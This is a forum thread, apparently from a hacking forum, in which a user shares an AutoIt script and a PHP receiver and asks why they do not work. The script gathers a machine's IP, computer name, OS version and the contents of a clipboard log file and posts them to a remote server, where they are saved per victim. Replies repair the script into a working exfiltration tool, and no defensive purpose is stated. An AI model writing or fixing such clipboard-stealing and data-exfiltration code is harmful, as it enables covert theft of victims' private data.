Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Help sending txt file data over POST

Code
$ip = @IPAddress1
$name = @ComputerName
$os = @OSVersion

$file = "file.log"
$infoss = FileOpen($file)
$infos = FileRead($infoss)



;Info Gathering
$serverdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & 'clpbrd=' & $infos
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", "------------urltoserver.php------------------", False)
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
$oHTTP.Send($serverdata)

FileClose($infos)

This is my Autoit

Now The Sever.php

Code
<?php
#receive data
$ip = $_POST['ip'];
$os = $POST['os'];
$name  = $_POST['computer'].PHP_EOL;
$clpbrd = $_POST['clpbrd'].PHP_EOL;
$ipname = "".$ip.".txt";



$ccTime = date(Time);
$cTime = $ccTime.PHP_EOL;
$fc = fopen($ipname, 'a');
fwrite($fc, 'IP:'.$ip.':OS:'.$os.':COMPUTER NAME:'.$name.':TEXT:'.$clpbrd.':TIME:'.$cTime);
fclose($fc);



?>

The resulting data

Code
IP:0.0.0.0:OS::COMPUTER NAME:J-PC
:TEXT:
:TIME:CET2401Europe/Berlin

It all works BUT the file contents WTF??

thanks for any help


OK resolved that issue :S:S

but now i have another?

Code
While 1
$ip = @IPAddress1
$name = @ComputerName
$os = @OSVersion
$infozname = @TempDir & "\clip.log"
$infoz = FileOpen($infozname)
$clbdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & '&clpbrd=' & $infoz
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", "------/server.php", False)
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
$oHTTP.Send($clbdata)
FileClose($infoz)
Wend

the info doesnt get sent?

I've fixed the script for you.

You were missing a FileRead on the file that you wanted to send the data from.

Also, there was no need for a loop in this script.

I also improved the script to actually send the IP address of the user. Unless of course you wanted the other one which you can just use that instead.

Code
#include <Inet.au3>

$ip = _GetIP ()

$name = @ComputerName

$os = @OSVersion

$infozname = @TempDir & "\clip.log"

$infoz = FileRead ($infozname)

$clbdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & '&clpbrd=' & $infoz

$oHTTP = ObjCreate ("winhttp.winhttprequest.5.1")

$oHTTP.Open ("POST", "your website here/server.php", False)

$oHTTP.SetRequestHeader ("Content-Type","application/x-www-form-urlencoded")

$oHTTP.Send ($clbdata)
Your missing a simple whitespace thats all.
Yes thanks guys much has happened since this thread.

i made this into a multipart/form-data (uploading) script

i made a thread for it...

https://hackforums.net/showthread.php?tid=4079034



Possibly Related Threads...
Thread / Author Replies Views Last Post
by MarwenMar 29, 2022 08:39 AM 0 125 Mar 29, 2022 08:39 AM
Last Post: Marwen
by ronnyfhtgApr 17, 2018 12:32 AM 1 113 Apr 17, 2018 12:32 AM
Last Post: Vanagander
[Help] by Lorenzo GucciOct 28, 2016 07:14 AM 0 128 Oct 28, 2016 07:14 AM
Last Post: Lorenzo Gucci